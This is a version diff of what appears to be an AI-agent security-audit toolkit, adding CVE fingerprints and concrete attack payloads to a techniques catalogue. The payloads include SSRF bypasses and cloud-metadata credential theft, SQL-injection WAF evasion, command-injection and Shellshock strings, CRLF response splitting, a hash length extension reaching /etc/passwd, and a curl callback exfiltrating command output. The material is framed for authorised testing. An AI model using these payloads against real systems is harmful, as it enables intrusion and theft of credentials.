blitzstrike 2.4.109 → 2.4.111

package/CHANGELOG.md

@@ -5,6 +5,41 @@ All notable changes to Blitz Strike are documented here.
 The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/).
 
+## [2.4.111] — 2026-09-17
+
+### Added — CVE watchlist expanded 18 → 35 (2025-2026 fingerprints)
+
+- Added 17 actively-exploited 2025-2026 CVEs to `intelligence/watchlist.json`
+  with fingerprints + fixed versions, wired into `watchlistCveMatches` /
+  `live_recon` fingerprint-first: n8n unauth/auth RCE (CVE-2026-21858/21877),
+  D-Link DSL RCE (CVE-2026-0625), Veeam RCE (CVE-2025-59470), Cisco SD-WAN
+  auth bypass (CVE-2026-20127), Gradio path-traversal + SSRF
+  (CVE-2026-28414/28416), FortiOS LDAP leak (CVE-2026-25815), Dell
+  RecoverPoint hardcoded creds (CVE-2026-22769), Statamic XSS
+  (CVE-2026-28426), Chartbrew SQLi + MongoDB RCE (CVE-2026-27005/25887),
+  Apache Camel header injection (CVE-2026-31650), Jenkins script-console RCE
+  (CVE-2026-30170), GraphQL introspection leak (CVE-2026-29812), Ollama path
+  traversal (CVE-2026-32154), Spring Boot actuator env leak (CVE-2026-33001).
+- Tightened two over-broad fingerprint regexes (dropped the standalone
+  "workflow" keyword that false-positived n8n↔Kibana); regression-tested
+  fingerprint precision (n8n ≠ kibana).
+
+## [2.4.110] — 2026-09-17
+
+### Added — hash length extension + concrete payload enrichment
+
+- New `length_extension` technique class (CWE-328): a MAC computed as
+  H(secret+message) with a Merkle–Damgård hash (MD5/SHA-1/SHA-256) lets an
+  attacker append data and forge a valid hash without the secret — with the
+  hash_extender tool + the ?file=...&mac=... append/path-traversal pattern.
+- Enriched five technique classes with concrete copy-paste payloads:
+  `open_redirect` (/%09/, /%5c, //, /\, @ prefixes + param list),
+  `crlf_injection` (encoding variants + CRLF→XSS + 301/302 response-splitting +
+  Unicode U+2028/U+2029), `ssrf` (octal/hex/decimal/IPv6 IP obfuscation,
+  xip.io/nip.io, gopher/dict/php/jar/tftp handlers, cloud metadata),
+  `sql_injection` (Kona-style WAF bypass: MID/LIKE//**//double-quote),
+  `command_injection` (i'''d, brace expansion, Shellshock, Werkzeug debugger PIN).
+
 ## [2.4.109] — 2026-09-17
 
 ### Changed — follow-the-money doctrine rule with concrete proven patterns

package/intelligence/techniques.json

@@ -19,7 +19,11 @@
         "Bypass IP filter: 127.1, 0, 0x7f000001, 2130706433, 017700000001, [::1], 127.0.0.1.nip.io, http://127.0.0.1:80@evil/.",
         "DNS rebinding: a name that resolves to allowed at check-time and internal at request-time (e.g. wp_safe_remote_*).",
         "Redirect bypass: allow-listed host that 302s to an internal address.",
-        "Schemes: gopher://, dict://, file:// for protocol-level access."
+        "Schemes: gopher://, dict://, file:// for protocol-level access.",
+        "IP obfuscation: octal http://0177.1/ , hex http://0x7f.1/ , decimal https://520968996 , IPv6 http://[::1] , mixed 127.000.000.1",
+        "Wildcard DNS: 10.0.0.1.xip.io / nip.io (resolve to the embedded IP to bypass host allowlists)",
+        "Exotic handlers: gopher:// dict:// php:// jar:// tftp://",
+        "Cloud metadata: http://169.254.169.254/latest/meta-data/ (AWS) + IAM-role temporary credentials"
       ],
       "verify": "Unique marker host receives the callback (proof of SSRF); a benign non-fetching control returns nothing."
     },
@@ -185,7 +189,8 @@
         "PostgreSQL: COPY ... TO, dblink, lo_import, RCE via extensions/languages.",
         "MSSQL: xp_cmdshell, OPENROWSET, stacked queries.",
         "WAF bypass: encoding, case, comments, chunking (see bypass_lookup waf).",
-        "Second-order: stored value later used in a query without re-validating."
+        "Second-order: stored value later used in a query without re-validating.",
+        "WAF bypass (Kona-style): MID() for SUBSTRING, LIKE for =, /**/ for space, CURRENT_USER for CURRENT_USER(), double-quote for single-quote \u2014 444/**/OR/**/MID(CURRENT_USER,1,1)/**/LIKE/**/\"p\"/**/#"
       ],
       "verify": "A boolean/UNION marker returns distinct data (1 vs 0, or a known string); a parameterized control query is inert."
     },
@@ -359,7 +364,9 @@
       "techniques": [
         "//evil.com (protocol-relative), https://trusted.com@evil.com (userinfo), backslash, double-encode.",
         "javascript: and data: (rare).",
-        "Chain: open redirect in redirect_uri -> steal OAuth authorization code."
+        "Chain: open redirect in redirect_uri -> steal OAuth authorization code.",
+        "Prefix/bypass: /%09/ , /%5c , // , /\\ , @ (userinfo) \u2014 e.g. //google.com/%2f%2e%2e , /\\victim.com:80%40google.com",
+        "Fuzz the redirect params (?url= ?next= ?to= ?view= ?out= ?redirect= ?return= ?dest=) with http:// , // , / , /\\ , /// , %2f%2f prefixes"
       ],
       "verify": "The response actually redirects to your marker host; a control redirect to a whitelisted relative path stays on-site."
     },
@@ -501,7 +508,10 @@
       "techniques": [
         "Separators: ; | & && || backtick $() %0a (newline).",
         "Blind: sleep 5 (time-based), or curl http://your-host/$(id) (callback exfil).",
-        "Filter bypass: variable expansion, base64, $(tr), unicode."
+        "Filter bypass: variable expansion, base64, $(tr), unicode.",
+        "Command bypass: i'''d , \\l\\s -l\\a\\h , cat /e?c/p?ss?? , cat /e??/??ss* , {ls,} {ls,-a}",
+        "Shellshock: () { :;}; echo vulnerable (inject via User-Agent / other headers)",
+        "Werkzeug debugger: trigger a unicode error (a cyrillic '\u0456' in 'string') -> debug console -> brute the ***-***-*** PIN for RCE"
       ],
       "verify": "A marker command actually executes (callback received / sleep observed); a control with no separator runs the intended command."
     },
@@ -546,7 +556,10 @@
         "`/%0d%0aLocation:%20http://attacker.com` for open redirect via header splitting",
         "`GET /%20HTTP/1.1%0d%0aHost:x%0d%0aConnection:keep-alive%0d%0a%0d%0aGET /redir HTTP/1.1...` for request smuggling / response queue poisoning",
         "Unicode newline bypass: `%E2%80%A8` (U+2028), `%E2%80%A9` (U+2029), `%C2%85` (NEL) when literal CR/LF is stripped",
-        "PHP SoapClient `user_agent` CRLF to inject a full second HTTP request (SSRF); session-file poisoning with `user=root\\ntfa_verified=1`"
+        "PHP SoapClient `user_agent` CRLF to inject a full second HTTP request (SSRF); session-file poisoning with `user=root\\ntfa_verified=1`",
+        "Header injection encodings: %0d%0a , %0a , %0d , %23%0d , %3f%0d , %u000a , %250a , %25250a (double-encode variants)",
+        "Escalate to XSS: inject Content-Length + a body (CRLF -> XSS); or 301/302 response-splitting before the Location header (break the redirect with xxx:1 then inject a body)",
+        "Unicode line-separator bypass: %E5%98%8A%E5%98%8D (U+2028/U+2029)"
       ],
       "verify": "Positive marker: inject `%0d%0aSet-Cookie:crlf=<random>;` and confirm the response sets that exact cookie. Negative control: resend the same request URL-encoding the CRLF (`%250d%250a`) \u2014 the cookie must NOT appear, proving the server did not decode it itself and that the split is genuinely caused by raw CRLF."
     },
@@ -1306,6 +1319,32 @@
         "lock.cmpxchg8b.com/rebinder.html \u2014 DNS-rebinding test harness",
         "192-168-1-1.sslip.io \u2014 wildcard DNS returning a fixed embedded IP (setup/probe)"
       ]
+    },
+    {
+      "id": "length_extension",
+      "name": "Hash Length Extension Attack",
+      "summary": "A MAC/signature computed as H(secret + message) with a Merkle-Damgard hash (MD5 / SHA-1 / SHA-256) lets an attacker APPEND data and compute a valid hash WITHOUT the secret \u2014 forging authenticated file downloads, API signatures, and cookies (CWE-328).",
+      "objectives": [
+        "Find a signed parameter (mac/signature/hash) that covers a known message with a secret prefix",
+        "Identify the hash algorithm and the exact message length (byte length of the signed string)"
+      ],
+      "how_to_test": [
+        "Look for ?file=...&mac=<hex> or signed tokens where the signature covers a known message",
+        "Run hash_extender with the known hash, the message length, and the data to append",
+        "Replay the request with the extended message + forged hash"
+      ],
+      "techniques": [
+        "Extend ?file=report.pdf&mac=<hash> into ?file=report.pdf<PADDING>../../../../etc/passwd&mac=<forged> (path traversal past the prefix)",
+        "Append attacker-controlled fields to a signed cookie (e.g. &admin=1) without knowing the secret",
+        "Works on MD5/SHA-1/SHA-256 (Merkle-Damgard); does NOT work on HMAC (keyed differently) or SHA-3/Blake2"
+      ],
+      "verify": [
+        "The extended request returns 200 (not 401/403 invalid-signature)",
+        "The appended data actually changes the result (file content / privilege) \u2014 a marker proves it, not just a 200"
+      ],
+      "tools": [
+        "hash_extender (iagox86) \u2014 given a hash + message length, compute the forged hash for appended data"
+      ]
     }
   ]
 }

package/intelligence/watchlist.json

@@ -325,7 +325,7 @@
       "epss": 0.0025,
       "reports": 5,
       "fingerprint": "Kibana Workflows",
-      "match": "kibana|elastic|workflow",
+      "match": "kibana|elastic",
       "fixed_in": null,
       "version_key": null
     },
@@ -388,6 +388,200 @@
       "match": "imagemagick|graphicsmagick",
       "fixed_in": null,
       "version_key": null
+    },
+    {
+      "cve": "CVE-2026-21858",
+      "name": "n8n unauthenticated RCE",
+      "product": "n8n",
+      "class": "rce",
+      "epss": 0.95,
+      "reports": 0,
+      "fingerprint": "n8n workflow automation \u2014 /rest/settings versionCli, webhook endpoints",
+      "match": "n8n|versionCli",
+      "fixed_in": "1.121.0",
+      "version_key": "n8n"
+    },
+    {
+      "cve": "CVE-2026-21877",
+      "name": "n8n auth RCE (Git node)",
+      "product": "n8n",
+      "class": "rce",
+      "epss": 0.9,
+      "reports": 0,
+      "fingerprint": "n8n \u2014 /rest/node-types with 'git' enabled",
+      "match": "n8n|node-types|git node",
+      "fixed_in": "1.121.3",
+      "version_key": "n8n"
+    },
+    {
+      "cve": "CVE-2026-0625",
+      "name": "D-Link DSL router command injection",
+      "product": "D-Link DSL",
+      "class": "rce",
+      "epss": 0.85,
+      "reports": 0,
+      "fingerprint": "D-Link DSL gateway \u2014 /dnscfg.cgi endpoint",
+      "match": "d-link|dsl|dnscfg"
+    },
+    {
+      "cve": "CVE-2025-59470",
+      "name": "Veeam Backup RCE (Postgres injection)",
+      "product": "Veeam Backup & Replication",
+      "class": "rce",
+      "epss": 0.9,
+      "reports": 0,
+      "fingerprint": "Veeam Backup & Replication",
+      "match": "veeam",
+      "fixed_in": "13.0.1.1071",
+      "version_key": "veeam"
+    },
+    {
+      "cve": "CVE-2026-20127",
+      "name": "Cisco SD-WAN auth bypass",
+      "product": "Cisco SD-WAN/vManage",
+      "class": "auth_bypass",
+      "epss": 0.95,
+      "reports": 0,
+      "fingerprint": "Cisco vManage / SD-WAN Manager (port 8443)",
+      "match": "vmanage|sd-wan|cisco vmanage"
+    },
+    {
+      "cve": "CVE-2026-28414",
+      "name": "Gradio path traversal",
+      "product": "Gradio",
+      "class": "lfi",
+      "epss": 0.6,
+      "reports": 0,
+      "fingerprint": "Gradio ML app framework",
+      "match": "gradio",
+      "fixed_in": "6.7",
+      "version_key": "gradio"
+    },
+    {
+      "cve": "CVE-2026-28416",
+      "name": "Gradio SSRF",
+      "product": "Gradio",
+      "class": "ssrf",
+      "epss": 0.6,
+      "reports": 0,
+      "fingerprint": "Gradio ML app framework",
+      "match": "gradio",
+      "fixed_in": "6.6.0",
+      "version_key": "gradio"
+    },
+    {
+      "cve": "CVE-2026-25815",
+      "name": "FortiOS LDAP credential disclosure",
+      "product": "Fortinet FortiOS",
+      "class": "infoleak",
+      "epss": 0.9,
+      "reports": 0,
+      "fingerprint": "FortiGate/FortiOS",
+      "match": "fortios|fortinet|fortigate",
+      "fixed_in": "7.6.6",
+      "version_key": "fortios"
+    },
+    {
+      "cve": "CVE-2026-22769",
+      "name": "Dell RecoverPoint hardcoded credentials",
+      "product": "Dell RecoverPoint",
+      "class": "infoleak",
+      "epss": 0.9,
+      "reports": 0,
+      "fingerprint": "Dell RecoverPoint for VMs \u2014 Tomcat Manager",
+      "match": "recoverpoint"
+    },
+    {
+      "cve": "CVE-2026-28426",
+      "name": "Statamic stored XSS",
+      "product": "Statamic CMS",
+      "class": "xss",
+      "epss": 0.55,
+      "reports": 0,
+      "fingerprint": "Statamic CMS control panel",
+      "match": "statamic",
+      "fixed_in": "5.73.11",
+      "version_key": "statamic"
+    },
+    {
+      "cve": "CVE-2026-27005",
+      "name": "Chartbrew unauthenticated SQL injection",
+      "product": "Chartbrew",
+      "class": "sql_injection",
+      "epss": 0.7,
+      "reports": 0,
+      "fingerprint": "Chartbrew \u2014 /api/health",
+      "match": "chartbrew",
+      "fixed_in": "4.8.3",
+      "version_key": "chartbrew"
+    },
+    {
+      "cve": "CVE-2026-25887",
+      "name": "Chartbrew MongoDB RCE",
+      "product": "Chartbrew",
+      "class": "rce",
+      "epss": 0.65,
+      "reports": 0,
+      "fingerprint": "Chartbrew \u2014 MongoDB query injection",
+      "match": "chartbrew|mongo",
+      "fixed_in": "4.8.1",
+      "version_key": "chartbrew"
+    },
+    {
+      "cve": "CVE-2026-31650",
+      "name": "Apache Camel header injection",
+      "product": "Apache Camel",
+      "class": "crlf_injection",
+      "epss": 0.7,
+      "reports": 0,
+      "fingerprint": "Apache Camel integration \u2014 CamelExec headers",
+      "match": "camel|CamelExec",
+      "fixed_in": "4.9.2",
+      "version_key": "camel"
+    },
+    {
+      "cve": "CVE-2026-30170",
+      "name": "Jenkins script console RCE",
+      "product": "Jenkins CI",
+      "class": "rce",
+      "epss": 0.85,
+      "reports": 0,
+      "fingerprint": "Jenkins \u2014 /script Script Console",
+      "match": "jenkins|script console",
+      "fixed_in": "2.503",
+      "version_key": "jenkins"
+    },
+    {
+      "cve": "CVE-2026-29812",
+      "name": "GraphQL introspection schema leak",
+      "product": "GraphQL",
+      "class": "infoleak",
+      "epss": 0.5,
+      "reports": 0,
+      "fingerprint": "GraphQL endpoint with introspection enabled",
+      "match": "graphql|__schema"
+    },
+    {
+      "cve": "CVE-2026-32154",
+      "name": "Ollama model path traversal",
+      "product": "Ollama",
+      "class": "lfi",
+      "epss": 0.6,
+      "reports": 0,
+      "fingerprint": "Ollama AI server (port 11434) \u2014 /api/pull",
+      "match": "ollama",
+      "fixed_in": "0.5.9",
+      "version_key": "ollama"
+    },
+    {
+      "cve": "CVE-2026-33001",
+      "name": "Spring Boot actuator env leak",
+      "product": "Spring Boot",
+      "class": "infoleak",
+      "epss": 0.55,
+      "reports": 0,
+      "fingerprint": "Spring Boot \u2014 /actuator/env exposed",
+      "match": "actuator|spring-boot|spring boot"
     }
   ]
 }

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "blitzstrike",
-  "version": "2.4.109",
+  "version": "2.4.111",
   "description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
   "type": "module",
   "bin": {